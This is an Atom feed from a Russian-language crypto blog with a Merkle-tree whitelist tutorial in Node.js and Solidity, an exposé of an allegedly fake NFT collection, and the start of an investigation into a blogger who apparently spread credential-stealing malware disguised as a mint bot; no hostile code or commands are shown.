<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>scissor.eth</title><author><name>scissor.eth</name></author><id>https://teletype.in/atom/crypto_satana</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/crypto_satana?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@crypto_satana?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=crypto_satana"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/crypto_satana?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-09T07:16:54.019Z</updated><entry><id>crypto_satana:merkle_tree</id><link rel="alternate" type="text/html" href="https://teletype.in/@crypto_satana/merkle_tree?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=crypto_satana"></link><title>Древо Меркла. Что это и как его используют в смарт контрактах. Объясняю понятным языком.</title><published>2022-07-23T09:57:49.882Z</published><updated>2022-07-23T19:23:20.677Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/e2/8f/e28f9d67-bdd6-4d80-bcad-39e9d5f97540.png"></media:thumbnail><category term="programmirovanie" label="Программирование"></category><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/d9/09/d909b32f-070a-4cbc-8754-f0fd1bef39ae.png&quot;&gt;Итак, раз вы зашли на эту статью, то наверняка интересуетесь что же такое Древо Меркла. Думаю что каждый кто хоть раз в жизни минтил через контракт, видел в функции вайтлиста такую штуку как _merkleProof или proof. Эти переменные могут называться по-разному, но смысл обычно один и тот же. В статье мы разберем как работает эта система, построим свое двоичное древо и напишем смарт контракт с проверкой есть ли кошелек в вл на Solidity!</summary><content type="html">
  &lt;figure id=&quot;jHO4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d9/09/d909b32f-070a-4cbc-8754-f0fd1bef39ae.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gUTQ&quot;&gt;Итак, раз вы зашли на эту статью, то наверняка интересуетесь что же такое Древо Меркла. Думаю что каждый кто хоть раз в жизни минтил через контракт, видел в функции вайтлиста такую штуку как _merkleProof или proof. Эти переменные могут называться по-разному, но смысл обычно один и тот же. В статье мы разберем как работает эта система, построим свое двоичное древо и напишем смарт контракт с проверкой есть ли кошелек в вл на Solidity!&lt;/p&gt;
  &lt;h2 id=&quot;G0hq&quot;&gt;Да кто такой этот ваш Древо Меркла&lt;/h2&gt;
  &lt;figure id=&quot;MWxp&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://user-images.githubusercontent.com/168240/83951171-85f48c80-a7e4-11ea-896e-529c28ffa18e.png&quot; width=&quot;1162&quot; /&gt;
    &lt;figcaption&gt;Пример дерева&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;SH06&quot;&gt;Начнем с определений. Скорее всего часть из них вы сейчас не поймете, так что возвращайтесь к ним по ходу прочтения. &lt;/p&gt;
    &lt;p id=&quot;gG6o&quot;&gt;◉ Вся структура данных которую мы рассматриваем называется древом.&lt;/p&gt;
    &lt;p id=&quot;9wXj&quot;&gt;◉ Каждый элемент в древе называется листком, а несколько элементов - листьями, по аналогии с реальными деревьями.&lt;/p&gt;
    &lt;p id=&quot;mfA3&quot;&gt;◉ Путь от верхнего элемента до нужного нам листка называется веткой.&lt;/p&gt;
    &lt;p id=&quot;eWGu&quot;&gt;◉ Все Древо Меркла - это 32 байтная строка, называемая рутом.&lt;/p&gt;
    &lt;p id=&quot;tSzi&quot;&gt;◉ Меркель пруф - это путь из 32 байтного массива хэшей от рута до проверяемого кошелька (его хэша).&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;6naR&quot;&gt;Сами листья не могут являтся числом или массивом. Каждый лист - это хэш, чаще всего keccak256 помещаемых нами данных.&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;7QZQ&quot;&gt;Шифр - это обратимая функция, а хэш - необратимая. &lt;/p&gt;
    &lt;p id=&quot;3wKP&quot;&gt;То есть, например, если мы знаем, что строка зашифрована шифром Цезаря под ключом 2 (то есть изменение вперед на 2 буквы) то мы можем ее расшифровать.&lt;/p&gt;
    &lt;p id=&quot;hwOJ&quot;&gt;А если мы знаем, что строка за&lt;strong&gt;хэш&lt;/strong&gt;ирована, например, алгоритмом Keccak256, то, зная хэш, мы не сможем ее рас&lt;strong&gt;хэш&lt;/strong&gt;овать и узнать, что это была за строка (точнее можем, но только если мы будем перебирать все возможные слова, &lt;strong&gt;хэш&lt;/strong&gt;ировать каждое и сравнивать с искомым хэшем).&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;srnB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8c/af/8caf6a33-bda0-4c98-9934-623dcf3b472b.png&quot; width=&quot;345&quot; /&gt;
    &lt;figcaption&gt;Дети древа меркла выглядят так, как вы видите сверху на картинке (сори за пейнт). &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;decq&quot;&gt;Это все понятно, но зачем его использовать, если можно все данные хранить в массиве/списке?&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Hg3C&quot;&gt;Вот мы и пришли к вопросу, зачем Древо Меркла используют в смарт контрактах.&lt;/p&gt;
    &lt;p id=&quot;feZY&quot;&gt;◉ Древо Меркла позволяет значительно облегчить нагрузку, так как при проверке, есть ли нужный хэш в древе, нужно пройти всего лишь по одной ветке, и нет необходимости перепроверять абсолютно все ветки.&lt;/p&gt;
    &lt;p id=&quot;dvcU&quot;&gt;Если бы мы хранили в смарте массив из адресов, то тогда потребовалось гораздо больше газа, ведь все адреса хранились бы в блокчейне. Помимо этого, для проверки, есть ли кошелек в WL, потребовалось бы проходиться по всему массиву, что съедало бы больше газа при минте&lt;/p&gt;
    &lt;p id=&quot;qF22&quot;&gt;А так получается, что в блокчейне сохраняется только одна строчка из 32 байтов - рут хэш, нужный как раз таки для проверок, есть ли кошель в вайтлисте.&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;JJFy&quot;&gt;Второе преимущество - это безопасность. &lt;/p&gt;
    &lt;p id=&quot;vfBD&quot;&gt;◉ Во первых, поскольку Древо состоит из хэшей, не получится узнать чужие кошельки в WL (т.к. по хэшу нельзя получить исходную строку). &lt;/p&gt;
    &lt;p id=&quot;yjMp&quot;&gt;◉ Во вторых, по рут хэшу нельзя восстановить список хэшей влов, а соответственно меркель пруф можно получить только на сайте, и никто не сможет заботить контракт.&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;4yHr&quot;&gt;◉ Из минусов (как же без них) можно отметить то, что не получится сминтить через контракт. Да, выше это было также в плюсах, но не у всех проектов есть сайт для минта, особенно у деген фришек. &lt;/p&gt;
    &lt;p id=&quot;3vqB&quot;&gt;◉ Также не получится удалить определенный кошелек (его хэш) из Древа, его придется пересобирать без удаляемых кошельков, и менять рут хэш отдельной функцией в контракте.   &lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;Mosk&quot;&gt;Кодинг&lt;/h2&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;zDFC&quot;&gt;Для начала напишем простенький скрипт на Node.js для сбора Древа. Подробно останавливаться на установке я не буду, все есть в интернете, да и если вы уж решили создавать свое Древо Меркла, то, скорее всего, вы видите код не первый раз в своей жизни. Но я все же оставлю &lt;a href=&quot;https://htmlacademy.ru/blog/articles/installing-nodejs#:~:text=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0%20Node.&amp;text=%D0%9D%D0%B5%D0%BE%D0%B1%D1%85%D0%BE%D0%B4%D0%B8%D0%BC%D0%BE%20%D0%BF%D0%B5%D1%80%D0%B5%D0%B9%D1%82%D0%B8%20%D0%BD%D0%B0%20%D0%BE%D1%84%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9%20%D1%81%D0%B0%D0%B9%D1%82,js%2C%20%D0%BA%D0%B0%D0%BA%20%D0%BB%D1%8E%D0%B1%D1%83%D1%8E%20%D0%B4%D1%80%D1%83%D0%B3%D1%83%D1%8E%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%83.&quot; target=&quot;_blank&quot;&gt;ссылку&lt;/a&gt; на установку Node.js. &lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;bj84&quot;&gt;Итак, открываем вашу IDE (если кому интересно, я использую коммерческую версию WebStorm) и устанавливаем две библиотеки, которые нам понадобятся. Первая нужна, чтобы превратить строку в keccak256, а вторая - чтобы создать древо.&lt;/p&gt;
    &lt;pre id=&quot;cWQK&quot;&gt;$ npm i keccak256 merkletreejs&lt;/pre&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;md2p&quot;&gt;Бум! Все установилось и теперь начинаем кодить.&lt;/p&gt;
    &lt;p id=&quot;3Kqz&quot;&gt;Для начала импортируем две библиотеки которые мы установили выше:&lt;/p&gt;
    &lt;pre id=&quot;scfl&quot;&gt;const { MerkleTree } = require(&amp;quot;merkletreejs&amp;quot;);
const keccak256 = require(&amp;#x27;keccak256&amp;#x27;);&lt;/pre&gt;
    &lt;p id=&quot;O2KJ&quot;&gt;Теперь создадим массив из кошельков которые у нас в WL:&lt;/p&gt;
    &lt;pre id=&quot;4iHC&quot;&gt;const addresses = [&amp;quot;0x5B38Da6a701c568545dCfcB03FcB875f56beddC4&amp;quot;,&amp;quot;0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2&amp;quot;];&lt;/pre&gt;
    &lt;p id=&quot;CY6Q&quot;&gt;Помимо этого нам потребуется небольшая стрелочная функция, которая будет конвертировать значения в нужный нам результат.&lt;/p&gt;
    &lt;pre id=&quot;B8l3&quot;&gt;const buf2hex = x =&amp;gt; &amp;quot;0x&amp;quot; + x.toString(&amp;quot;hex&amp;quot;);&lt;/pre&gt;
    &lt;p id=&quot;uheE&quot;&gt;Далее нам нужно получить из всех этих адресов кошельков список их хэшей, сделать это элегантно мы можем через метод map в JS, которая пройдется по каждому кошельку и вернет значение стрелочной функции в новый массив.&lt;/p&gt;
    &lt;pre id=&quot;VJ28&quot;&gt;const leaves = addresses.map(address =&amp;gt; keccak256(address));&lt;/pre&gt;
    &lt;p id=&quot;K5rL&quot;&gt;Затем наконец-то создаем наше Древо:&lt;/p&gt;
    &lt;pre id=&quot;uzhd&quot;&gt;const tree = new MerkleTree(leaves, keccak256, { sortPairs: true });&lt;/pre&gt;
    &lt;p id=&quot;vWCc&quot;&gt;И получаем нужный нам рут хэш, который мы далее сохраним в смарт контракте:&lt;/p&gt;
    &lt;pre id=&quot;qUw0&quot;&gt;const merkleRootString = buf2hex(tree.getRoot());&lt;/pre&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;xc5P&quot;&gt;Теперь реализуем получение пруфа для кошелька:&lt;/p&gt;
    &lt;pre id=&quot;3abb&quot;&gt;const leaf = keccak256(&amp;quot;0x5B38Da6a701c568545dCfcB03FcB875f56beddC4&amp;quot;);
const proof = tree.getProof(leaf);
const proofString = &amp;quot;[&amp;quot; + proof.map(x =&amp;gt; &amp;#x60;&amp;quot;${buf2hex(x.data)}&amp;quot;&amp;#x60;) + &amp;quot;]&amp;quot;&lt;/pre&gt;
    &lt;p id=&quot;eH9E&quot;&gt;proofString это есть нужный нам пруф, который мы можем ввести в контракт и все пройдет.&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;eYSv&quot;&gt;Напишем простую реализацию смарт-контракта на Solidity, проверяющего есть ли кошель в WL.&lt;/p&gt;
    &lt;p id=&quot;by5t&quot;&gt;Для начала инициализируем контракт и импортируем нужную нам библиотеку для работы с Древом Меркла.&lt;/p&gt;
    &lt;pre id=&quot;xw2v&quot;&gt;pragma solidity ^0.8.4;
 
import &amp;quot;@openzeppelin/contracts/utils/cryptography/MerkleProof.sol&amp;quot;;&lt;/pre&gt;
    &lt;p id=&quot;z9Lx&quot;&gt;Создаем сам контракт, изначально задаем меркель рут, и добавляем функцию для проверки, которая вернет true если кошель в WL, и false если нет.&lt;/p&gt;
    &lt;pre id=&quot;GVP3&quot;&gt;contract SimpleMerkleTree {
  bytes32 merkleRoot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097; 
  function checkIsAddressInWl(bytes32[] memory _merkleProof) public view returns(bool) {
    return MerkleProof.verify(_merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)));
  }  
 }&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;L6en&quot;&gt;Надеюсь вам понравилась статья и вы узнали для себя что-то новое. Лучшей благодарностью будем подписочка на TG канал и телетайп.&lt;/p&gt;
  &lt;p id=&quot;PbKe&quot;&gt;Created with ❤️by &lt;a href=&quot;https://t.me/crypto_satana&quot; target=&quot;_blank&quot;&gt;https://t.me/crypto_satana&lt;/a&gt; || &lt;a href=&quot;https://t.me/scissor_eth&quot; target=&quot;_blank&quot;&gt;https://t.me/scissor_eth&lt;/a&gt; &lt;/p&gt;

</content></entry><entry><id>crypto_satana:bunker_scam</id><link rel="alternate" type="text/html" href="https://teletype.in/@crypto_satana/bunker_scam?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=crypto_satana"></link><title>Букнер скам? Создание админами фейк коллекции и попытка кидануть своих же подписчиков приватки.</title><published>2022-06-26T17:59:42.389Z</published><updated>2022-06-26T17:59:42.389Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/db/3e/db3ea855-051d-4be9-9294-03861f10fa77.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/6abc181f46623f0575df8.png&quot;&gt;Данная статья является перезаливом моей же статьи с telegra.ph на teletype.in.</summary><content type="html">
  &lt;figure id=&quot;HRqd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6abc181f46623f0575df8.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;bLy7&quot;&gt;Данная статья является перезаливом моей же статьи с telegra.ph на teletype.in.&lt;/blockquote&gt;
  &lt;p id=&quot;N4yK&quot;&gt;3 июня 2021 опубликован данный пост в бункере ссылающийся на покупку боксов - &lt;a href=&quot;https://opensea.io/collection/epic-league-totem-box&quot; target=&quot;_blank&quot;&gt;https://opensea.io/collection/epic-league-totem-box&lt;/a&gt;.&lt;/p&gt;
  &lt;figure id=&quot;P3An&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/b8962a21f1e4cb94490d7.png&quot; width=&quot;658&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DpW0&quot;&gt;Переходим и что мы видим? Коллекцию из 60 айтемов с общим обьемом торгов 0.39 ETH.&lt;/p&gt;
  &lt;figure id=&quot;K7xj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/300674a3f2001c7ad9cba.png&quot; width=&quot;1567&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RvpV&quot;&gt;Теперь посмотрим во вкладку Activity, и что мы видим теперь? Первая продажа была 2 часа назад. Хмм...&lt;/p&gt;
  &lt;figure id=&quot;r6D9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/941face34bd127f587f6f.png&quot; width=&quot;1377&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;d4pE&quot;&gt;И купил ее один из админов бункера - &lt;a href=&quot;https://opensea.io/TraderXXX&quot; target=&quot;_blank&quot;&gt;https://opensea.io/TraderXXX&lt;/a&gt;. На его кошельке на тот момеент когда я смотрел находилось 18 таких NFT.&lt;/p&gt;
  &lt;h4 id=&quot;Пахнет-нечисто,-да?&quot;&gt;Пахнет нечисто, да?&lt;/h4&gt;
  &lt;p id=&quot;enhT&quot;&gt;Посмотрим дальше на саму НФТ:&lt;/p&gt;
  &lt;figure id=&quot;Nwt5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/c77b9fefceb6626bdb5d3.png&quot; width=&quot;1894&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;q5KC&quot;&gt;И посмотрим на URL выше в котором пишется адрес контракта:&lt;/p&gt;
  &lt;p id=&quot;JJSx&quot;&gt;&lt;a href=&quot;https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/108619439121346605445707346742609222442616510946759560073425622258581678063617&quot; target=&quot;_blank&quot;&gt;https://opensea.io/assets/matic/0x2953399124f0cbb46d2cbacd8a89cf0599974963/108619439121346605445707346742609222442616510946759560073425622258581678063617&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;DDBL&quot;&gt;Цепляем отсюда адрес контракта: 0x2953399124f0cbb46d2cbacd8a89cf0599974963&lt;/p&gt;
  &lt;p id=&quot;G9Pj&quot;&gt;Идем на polygonscan:&lt;/p&gt;
  &lt;p id=&quot;hw5r&quot;&gt;&lt;a href=&quot;https://polygonscan.com/address/0x2953399124f0cbb46d2cbacd8a89cf0599974963&quot; target=&quot;_blank&quot;&gt;https://polygonscan.com/address/0x2953399124f0cbb46d2cbacd8a89cf0599974963&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;qcjd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6a96d0667bfd4a2b3dd11.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;Коллекция-загружена-через-OpenSea...&quot;&gt;Коллекция загружена через OpenSea...&lt;/h4&gt;
  &lt;p id=&quot;HjIf&quot;&gt;Что это означает? То что коллекция была загружена через вот такой вот стандартный интерфейс:&lt;/p&gt;
  &lt;figure id=&quot;i0PU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/9bd8fe12ef3dbffae5fc2.png&quot; width=&quot;1894&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WWlX&quot;&gt;Никакая крупная NFT коллекция никогда так не сделает, всегда есть разработчики который пишут свой смарт-контракт.&lt;/p&gt;
  &lt;h4 id=&quot;Ну-и-да,-оригинальная-коллекция-продается-на-Binance&quot;&gt;Ну и да, оригинальная коллекция продается на Binance&lt;/h4&gt;
  &lt;figure id=&quot;hEuU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/d39efee878be8263494a6.png&quot; width=&quot;457&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;OubQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/d886ac689339afb38ccf6.png&quot; width=&quot;318&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;И-сами-разработчики-подтвердили-что-коллекция---фейк&quot;&gt;И сами разработчики подтвердили что коллекция - фейк&lt;/h4&gt;
  &lt;p id=&quot;cKlw&quot;&gt;Мы написали разработчикам и вот какой ответ получили:&lt;/p&gt;
  &lt;figure id=&quot;LOKD&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/ffa629e688f4829ccd06d.png&quot; width=&quot;820&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;wUcm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/63339ccf31c7ada052254.png&quot; width=&quot;866&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;UPD:&quot;&gt;UPD:&lt;/h4&gt;
  &lt;figure id=&quot;cfIy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/8b12019700742cdc9ba7b.png&quot; width=&quot;1892&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;lvwk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/54b3414af17ccdf266e75.png&quot; width=&quot;1839&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;arY7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/4fa71a1b1ba93f77f7312.png&quot; width=&quot;1869&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>crypto_satana:haliavniy_scam</id><link rel="alternate" type="text/html" href="https://teletype.in/@crypto_satana/haliavniy_scam?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=crypto_satana"></link><title>Масштабный скам от Халявного. Полный разбор с реверс-инжинирингом малвари.</title><published>2022-06-26T17:34:22.433Z</published><updated>2022-06-27T00:26:27.278Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/6c/2b/6c2b103e-c2dc-40b5-a0b0-b21a2ddb7d09.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/57/74/5774630b-6e33-43f8-ba55-97bd2762f718.png&quot;&gt;Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.  </summary><content type="html">
  &lt;figure id=&quot;wFHw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/57/74/5774630b-6e33-43f8-ba55-97bd2762f718.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3eK7&quot;&gt;Начнем с истоков&lt;/h2&gt;
  &lt;p id=&quot;ED6L&quot;&gt;Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.  &lt;/p&gt;
  &lt;h2 id=&quot;kpJo&quot;&gt;Предпосылки&lt;/h2&gt;
  &lt;blockquote id=&quot;7X0e&quot;&gt;Еще несколько недель назад Халявный отключил все реакции кроме 🤮, 👎🏻 и 💩. Возможно он уже тогда задумывал закинуть малварь на все комьюнити, и когда понаставляли бы таких реакций, не вызывать подозрений. Но это уже более параноидальные теории, хотя исключать этого тоже мы не можем ;)&lt;/blockquote&gt;
  &lt;p id=&quot;wgTN&quot;&gt;1. Буквально месяц назад наш герой собирал складчину у себя на канале для покупки курса по Майнингу от Фармера (лол), и конечно же собрав по 70$  с 10 человек, никому мануал не кинул, прикрывшись тем что продажник вычислил их склад (а не майнер ли он нам подсунет дальше :?)  &lt;/p&gt;
  &lt;p id=&quot;A3Cs&quot;&gt;2. В его артодельне, как оказалось, качество не соответсвует тому какие сники он прикладывает. Вот пример:&lt;/p&gt;
  &lt;figure id=&quot;9wFZ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5c/15/5c15c824-d3ef-413c-a731-f3fe4d30ee6a.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1isf&quot;&gt;3. Более интересная история которая случилась 9 апреля 2022 года, про квест на 5к$.&lt;/p&gt;
  &lt;p id=&quot;UFXX&quot;&gt;Халявный и Бойлер заделали совместный квест, где собрав 12 слов сид фразы, ты мог получить NFT по их словам стоимостью 5.000$. Сделано это было ради хайпа и набора аудитории, ведь видимо по другому кроме как наебывать, двигаться Халявный не умел. О квесте конечно же все благополучно забыли, ниаких пруфов естественно никто не предоставил. А сам Халявный игнорировал сообщения с вопросами.&lt;/p&gt;
  &lt;h2 id=&quot;D8nt&quot;&gt;&lt;strong&gt;Начало расследования. Хронология событий.&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;G42X&quot;&gt;Итак, 25 июня 2022 20:31 он выпускает пост с таким содержимым:&lt;/p&gt;
  &lt;figure id=&quot;pN3I&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/78/24/7824df9d-03c4-4bbe-8f1d-8a7360fd638f.jpeg&quot; width=&quot;1573&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wP86&quot;&gt;И за этими постами сразу же пост с самими файлами, но уже отключив комментарии:&lt;/p&gt;
  &lt;figure id=&quot;SouX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/228a434f0b90df008d39e.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ly8g&quot;&gt;Не поверите, но некоторые паблики, успели сразу же репостнуть и удалить впоследствии, ведь ничего подозрительного кроме слива &amp;quot;годноты&amp;quot; в паблик непонятно зачем. &lt;/p&gt;
  &lt;figure id=&quot;iCkl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/dba7666624ee9ae508232.png&quot; width=&quot;579&quot; /&gt;
    &lt;figcaption&gt;А следом он вообще удалил свой тг аккаунт!&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;ZNME&quot;&gt;Анализ малвари и разбор ситуации.&lt;/h2&gt;
  &lt;p id=&quot;S6DW&quot;&gt;Любой, у кого IQ выше амебы, перед запуском левого файла пойдет просканировать вначале его на &lt;a href=&quot;https://www.virustotal.com/&quot; target=&quot;_blank&quot;&gt;https://www.virustotal.com/&lt;/a&gt;, и увидев 32 детекта из 67 засомневается в запуске софта.&lt;/p&gt;
  &lt;figure id=&quot;Rtco&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/65f7b2b6c30911edfbbac.png&quot; width=&quot;1795&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;0QZq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7d/66/7d660053-ff75-428a-b545-6a85bb1d8755.png&quot; width=&quot;626&quot; /&gt;
    &lt;figcaption&gt;И кто-то даже спросил, отчего столько детектов!&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vCfY&quot;&gt;Однако вот что отвечает наш юный манимейкер:&lt;/p&gt;
  &lt;figure id=&quot;2PvS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/aa/fd/aafdfdde-0d7e-4419-87ff-1f18437affd7.png&quot; width=&quot;424&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;b7Ga&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1b/66/1b66c9ed-ae26-4844-aa66-02e4cdaf7e6b.png&quot; width=&quot;591&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;xW7k&quot;&gt;А кое-кто даже умудрился запустить софт, и следом начать рассылать по всем чатам что у него украли 439$, однако особо этому верить нельзя т.к чел мог просто перевести деньги на свой второй кошелек.&lt;/blockquote&gt;
  &lt;h2 id=&quot;3NGn&quot;&gt;Итак, приступим к самому интересному, анализу файлов!&lt;/h2&gt;
  &lt;p id=&quot;48EL&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;nrxi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/61/6e/616ec0a1-5f45-48be-8264-1f1a937b3d76.png&quot; width=&quot;1629&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dpLv&quot;&gt;Мы видим что софт действительно подгружает отдельный файл с гитхаба, но почему-то именно SandBoxAccounts.exe а не просканированный PremintBot.exe. &lt;/p&gt;
  &lt;p id=&quot;jrxv&quot;&gt;Перейдя на по ссылке увидим гитхаб. Нет сомнений что это дело рук именно Халявного, так как коммит был сделан ровно под выложенный пост, и дальше не редактировался.&lt;/p&gt;
  &lt;figure id=&quot;Hos7&quot; class=&quot;m_original&quot;&gt;
